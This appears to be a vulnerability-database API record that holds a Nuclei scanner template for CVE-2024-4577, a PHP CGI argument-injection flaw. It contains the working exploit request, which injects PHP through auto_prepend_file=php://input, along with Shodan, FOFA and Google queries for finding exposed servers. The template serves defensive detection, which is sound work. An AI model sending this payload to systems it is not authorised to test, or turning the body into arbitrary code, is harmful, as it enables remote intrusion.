{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-4577/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-4577/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-4577/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-4577/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-4577/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-4577"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-4577"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-4577.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2024-4577\n\ninfo:\n  name: PHP CGI - Argument Injection\n  author: Hüseyin TINTAŞ,sw0rk17,s4e-io,pdresearch\n  severity: critical\n  description: |\n    PHP CGI - Argument Injection (CVE-2024-4577) is a critical argument injection flaw in PHP.\n  impact: |\n    Successful exploitation could lead to remote code execution on the affected system.\n  remediation: |\n    Apply the vendor-supplied patches or upgrade to a non-vulnerable version.\n  reference:\n    - https://s4e.io/tools/php-cgi-code-injection-cve-2024-4577\n    - http://www.openwall.com/lists/oss-security/2024/06/07/1\n    - https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html\n    - https://cert.be/en/advisory/warning-php-remote-code-execution-patch-immediately\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-4577\n    cwe-id: CWE-78\n    epss-score: 0.99987\n    epss-percentile: 0.99983\n    cpe: cpe:2.3:a:php:php:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    vendor: php\n    product: php\n    shodan-query:\n      - cpe:\"cpe:2.3:a:php:php\"\n      - http.title:\"php warning\" || \"fatal error\"\n      - php.ini\n      - the requested resource <code class=\"url\">\n      - x-powered-by:\"php\"\n    fofa-query: title=\"php warning\" || \"fatal error\"\n    google-query: intitle:\"php warning\" || \"fatal error\"\n  tags: cve,cve2024,php,cgi,rce,kev,vkev,vuln\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input\"\n      - \"{{BaseURL}}/index.php?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input\"\n      - \"{{BaseURL}}/test.php?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input\"\n      - \"{{BaseURL}}/test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input\"\n\n    body: |\n      <?php echo md5(\"CVE-2024-4577\"); ?>\n\n    stop-at-first-match: true\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"3f2ba4ab3b260f4c2dc61a6fac7c3e8a\"\n# digest: 4a0a0047304502200bf4fb6c504f55bbe284108b56af86da412c1b5a62aee3908a965ca1abc1b06a022100d59df3e7c0cf3bb023a09faec6fdc69371fe8961bb05fea0aa4a8d1a3448d12f:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-4577"
}